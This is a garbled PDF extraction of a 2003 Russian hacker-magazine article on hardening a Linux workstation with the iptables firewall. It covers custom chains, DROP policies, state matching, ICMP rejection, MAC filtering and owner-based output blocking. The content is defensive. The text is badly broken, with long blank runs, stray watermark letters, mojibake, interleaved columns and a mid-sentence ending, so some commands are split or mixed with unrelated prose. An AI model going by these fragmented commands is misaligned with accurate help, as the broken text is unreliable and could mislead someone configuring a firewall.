 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

D

 

 

<Page 066>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Взлом

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХАКЕР\¹58\Октябрь\2003

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

КАК ЗА КАМЕННОЙ СТЕНОЙ!

Докучаев Дмитрий aka Forb (forb@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Люди, установившие себе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Linux в качестве рабочей

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÊÀÊ

 

 

 

 

 

станции, нередко придер-

 

 

 

 

 

 

 

 

 

живаются мнения, что ха-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

керы тянутся только к

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крупным серверам, поэто-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

му фаервол им ни к чему.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КАМЕННОЙ

 

 

 

 

 

 

 

 

 

 

 

наплевать, что ломать и

 

 

 

 

 

ÇÀ

 

 

 

 

Это не совсем верно. Дело

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в том, что в большинстве

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

случаев взломщику просто

 

 

 

 

 

 

СТЕНОЙ!

 

 

 

 

 

 

 

потом не пришлось кусать

 

 

 

 

 

 

 

 

 

 

 

куда вторгаться. Поэтому о

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

своей защите лучше поза-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ботиться заранее, чтобы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

локти и сожалеть о

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

НАСТРАИВАЕМ

 

 

ФАЕРВОЛ

 

 

IPTABLES

 

 

 

 

 

 

 

 

 

собственной беспечности.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

цепь записываются правила на доверенные маши-

 

 

 

 

ИСТОРИЯ IPTABLES

 

 

INPUT

 

 

ны (обязательно в оба направления). В этом слу-

 

 

 

Для начала вспомним, что такое фаервол. По сути,

 

INPUT содержит в себе правила, проверяющие лю-

 

чае маршрутник будет обрабатывать пакеты лишь

 

 

 

 

 

с этих серверов.

 

 

 

это стандартный фильтр пакетов, параметры кото-

 

бые входящие в систему пакеты. После такой про-

 

 

 

 

 

 

 

 

 

 

 

 

 

рого задает пользователь. Юниксоидам, в отличие

 

верки ядро "решает" - пропустить пакет или блоки-

 

ПРАКТИКА

 

 

 

 

 

 

 

 

 

 

 

от виндузятников, с "огненной стеной" повезло. Фа-

 

ровать. Фильтровать пакет можно двумя способами

 

Теперь ты знаешь назначение цепей iptables. Тогда

 

 

 

ервол является обязательным атрибутом всех unix-

 

- DROP, делая вид, что сервер недоступен, и

 

 

 

 

like систем. В линуксе, например, в истории разви-

 

REJECT - эмуляция отсутствия сервиса (при этом

 

попробуем провести небольшую настройку iptables,

 

 

 

тия операционки можно проследить три фаервола:

 

запрете на порт, фаервол ответит на запрос - con-

после которой злоумышленник не сможет проник-

 

 

 

 

сперва был простой в использовании ipfadm (его

 

nection refused, как будто порт вообще не светится).

 

нуть на твой комп. Саму настройку лучше произво-

 

 

 

синтаксис схож с ipfw, характерным для BSD-сис-

 

 

 

 

 

 

 

 

дить в онлайне, т.к. в случае ошибки фаервол

 

 

 

тем), затем с развитием ядра Linux появился

 

 

 

 

 

 

 

 

просто заблокирует все входящие соединения.

 

 

 

ipchains. Он уже умел делать NAT (замена source-ip)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и REDIRECT (замена destination-port) и работал на

 

 

 

 

 

 

 

 

Для начала создадим собственную цепь. Назовем

 

 

 

2.2.х ядрах. С появлением ветки 2.4 приобрел попу-

 

 

 

 

 

 

 

 

ее, например, ports. Туда мы будем записывать

 

 

 

лярность фаервол iptables, который имел множество

 

 

 

 

 

 

 

 

правила, разрешающие соединения на определен-

 

 

 

различных функций и модулей. Самая последняя

 

 

 

 

 

 

 

ные порты твоей машины.

 

 

 

 

 

 

 

 

 

версия этого брандмауэра - 1.2.7a.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -N ports

 

 

 

 

ПЕРЕКРОЕМ ВРАГУ КИСЛОРОД

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После этой команды появится пользовательская

 

 

 

Обычно для активации фаервола достаточно вы-

 

Просмотр входящей таблицы брандмауэра

 

 

 

 

 

 

цепь ports. Ее можно просмотреть с помощью уже

 

 

 

 

 

 

 

 

 

 

 

 

 

 

полнить команду service iptables start. После этого

 

 

 

 

 

 

 

 

известного нам параметра -L. Теперь добавим

 

 

 

будут загружены модули iptable_nat, iptable_owner,

 

 

 

 

 

 

 

 

первое правило в нашу новую цепь. Оно будет да-

 

 

 

iptable_state и iptable_filter. Каждый модуль отвеча-

 

OUTPUT

 

 

вать разрешение на соединение с 22 портом с до-

 

 

 

ет за определенные функции. После запуска фаер-

 

В этой цепочке находятся правила, обрабатываю-

веренного адреса 192.168.0.1.

 

 

 

 

 

 

 

 

вола можно посмотреть наличие всех (пока еще

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пустых) цепочек. Делается это командой iptables -

 

щие исходящие пакеты. Принцип работы аналоги-

 

# /sbin/iptables -A ports -s 192.168.0.1 -p

 

 

 

L. Будет видно, что у брандмауэра есть три глав-

 

чен INPUT. При наличии запрещающих правил пакет

 

tcp --destination-port 22 -j ACCEPT

 

 

 

íûõ öåïè: INPUT, OUTPUT è FORWARD. Â íèõ êàê

 

фильтруется и не выпускается из системы наружу.

 

 

 

 

 

 

 

 

 

 

 

 

 

раз и записываются правила, определяющие поли-

 

 

 

 

 

 

 

Коротко о параметрах и их аргументах:

 

 

 

 

 

тику работы фаервола. Политик может быть две -

 

FORWARD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ACCEPT, которая принимает все пакеты без исклю-

 

Здесь происходит обработка пакетов, которые по-

 

-A (append) - добавляет правило в конец заданной

 

 

 

чения (по умолчанию), и DROP, фильтрующая все

 

 

цепи (в нашем случае в ports).

 

 

 

соединения, если нет исключающих правил. Кроме

 

пали на сервер с другой машины и ожидают даль-

 

-s (source_addr) - адрес, с которого пришел пакет.

 

 

 

того, пользователь может создать свои личные це-

 

нейшего переброса (актуальна для роутеров).

 

В нашем случае это доверенный 192.168.0.1.

 

 

 

пи и соединить их с главными.

 

 

Обычно на форвард ставится политика DROP, а в

 

-p (protocol) - явное указание протокола для теку-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1

 

2

 

3

 

4

 

66

Ньюсы

Феррум

Inside

PC_Zone

Implant

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

 

o

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

 

r

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

o

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

щего правила. Может быть tcp, udp и icmp и all.

дет в относительной безопасности ;).

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--destination-port - актуален только для протокола

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

tcp, поэтому пишется всегда после него. Хранит в

Кстати, существует возможность производить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

себе порт назначения.

 

сравнение не только по ip, но и по MAC-адресу,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-j - политика правила. Как я уже говорил, может

что положительно повлияет на защиту твоего сер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

быть ACCEPT, DROP, REJECT, а также линком на

вера. Например, правило

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

другие цепи.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A INPUT -s 192.168.0.1 -m mac --

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Дальше попробуй самостоятельно заполнить цепь

mac-source 00:C0:DF:10:19:FB -j ACCEPT

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ports. Если не сможешь вспомнить про все порты,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

соединения по которым необходимо разрешить, то

пропустит пакеты лишь с MAC-адресом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не волнуйся, это можно сделать потом.

00:C0:DF:10:19:FB.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь займемся главной цепочкой INPUT. Первым

СЛОВО ОБ ICMP

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

делом разрешим принимать пакеты по локальному

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

петлевому интерфейсу. Интерфейс можно задать

Пока я рассказал о способах фильтрации только

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

параметром -i (входящий) и -o (исходящий). Наше

tcp-пакетов. Теперь поговорим про icmp-протокол.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

правило будет выглядеть следующим образом:

Правила обработки таких пакетов должны содер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жать в себе параметр -p со значением icmp. Мож-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A INPUT -i lo -j ACCEPT

но указывать тип пакета с помощью опции --icmp-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

type. Типы могут быть различными: echo-request,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

УЖЕСТОЧИМ ПОЛИТИКУ

echo-reply и т.д. (полный список можно посмот-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

реть командой /sbin/iptables -p icmp -h). Особый

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А теперь следует сделать то, к чему мы так стре-

интерес представляет тип ответа на фильтрован-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мились. Нам необходимо запретить все соедине-

ные запросы. Например, ты с легкостью можешь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ния кроме тех, которые были указаны в цепочке

сделать так, чтобы iptables отвечал пингующему,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ports. Но перед этим следует выполнить, по край-

что твой узел недоступен либо permission denied

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ней мере, две команды. Во-первых, надо соеди-

(на кой фиг, ты, собственно, сюда пришел? ;)). Это

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нить две цепочки: пользовательскую ports и глав-

осуществляется опцией --reject-with, значением

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ную INPUT. Делается это следующим образом:

которой будет, собственно, тип ответа на запрос.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В итоге получаем правило:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A INPUT -j ports

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A input -s ! 192.168.0.1 -p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как видишь, аргумент -j является именем пользова-

icmp --icmp-type echo-request -j REJECT --

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тельской цепи (линковать базовые цепочки лучше не

reject-with icmp-host-prohibited

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

надо). Теперь, казалось бы, все должно работать и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

подчиняться правилам. Но стоит тебе поменять по-

Восклицательный знак, разделенный пробелом со

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

литику, как твоя аська уйдет в офлайн, а любимый

значением параметра, означает, что правило расп-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

konqueror не сможет зайти ни на один сайт. Все по-

ространяется на все пакеты, кроме тех, которые

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тому, что мы забыли оговорить состояния пакетов.

удовлетворяют данному параметру. В нашем слу-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чае, проброс icmp-пакетов с доверенного

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Каждый пакет может иметь несколько состояний.

192.168.0.1 будет разрешен.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вот основные виды:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NEW - данные, начинающие новое соединение.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ESTABLISHED - пакет, приходящий от уже установ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ленного соединения.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RELATED - новый пакет данных, но порожденный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

старым установленным соединением (например,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FTP-передача данных, icmp-ответ и т.д.).

Ответ icmp связан с запрещающим правилом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

INVALID - состояние, которое не попадает ни под

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

один из вышеперечисленных видов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Чтобы пакеты корректно пропускались ядром, не-

ВСЕХ ВПУСКАТЬ, НИКОГО НЕ ВЫПУСКАТЬ!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обходимо разрешить состояния RELATED и ESTAB-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LISHED. Это выполняется командой:

У тебя, наверное, не раз выпрашивали шелл. Конеч-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

но, давать акцес к своей тачке – не самая приятная

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A INPUT -m state --state

вещь. Мало ли чего там наделает эта компьютерная

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RELATED,ESTABLISHED -j ACCEPT

братия, плюс придется оплачивать трафик, который

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

они нагенерят. Но не стоит отчаиваться. В решении

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Значение параметра -m указывает на внешний мо-

этой задачи нам опять поможет iptables. Он имеет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дуль, который будет использоваться фаерволом. В

встроенный модуль iptables_owner.so, который мо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нашем случае это iptables_state.so. После того, как

жет закрывать соединения по uid, gid, pid, cmd и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

модуль активизируется, мы указываем его опцию -

прочим атрибутам пользователя. Как ты понима-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

state со значением состояний пакетов.

ешь, модуль обрабатывает OUTPUT-цепочку. Давай

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

потренируемся. Заведем в системе тестового поль-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вроде все! Осталось только сменить политику це-

зователя tables с уидом 4000:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ïè INPUT:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /usr/sbin/useradd tables -s /bin/bash -u 4000

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -P INPUT DROP

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Наша задача: сделать так, чтобы юзер не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если все было сделано верно, то после смены по-

мог серфить инет через твой шелл. Прави-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

литики соединения не пропадут, а твоя машина бу-

ло будет выглядеть следующим образом:

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Взлом

6 Юниксоид 7 Кодинг

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

ХАКЕР\¹58\Октябрь\2003

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

<Page 068>

 

 

 

 

 

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

Взлом

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

o

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КАК ЗА КАМЕННОЙ СТЕНОЙ!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Докучаев Дмитрий aka Forb (forb@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Типы фаерволов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

# /sbin/iptables -A OUTPUT -m

О классификации брандмауэров

 

Иногда возникает необходимость периоди-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

owner --uid-owner 4000 -j REJECT

можно говорить часами. Помимо

 

ческого обнуления контейнеров. Это реали-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Логинимся под пользователем

программных, бывают также аппа-

 

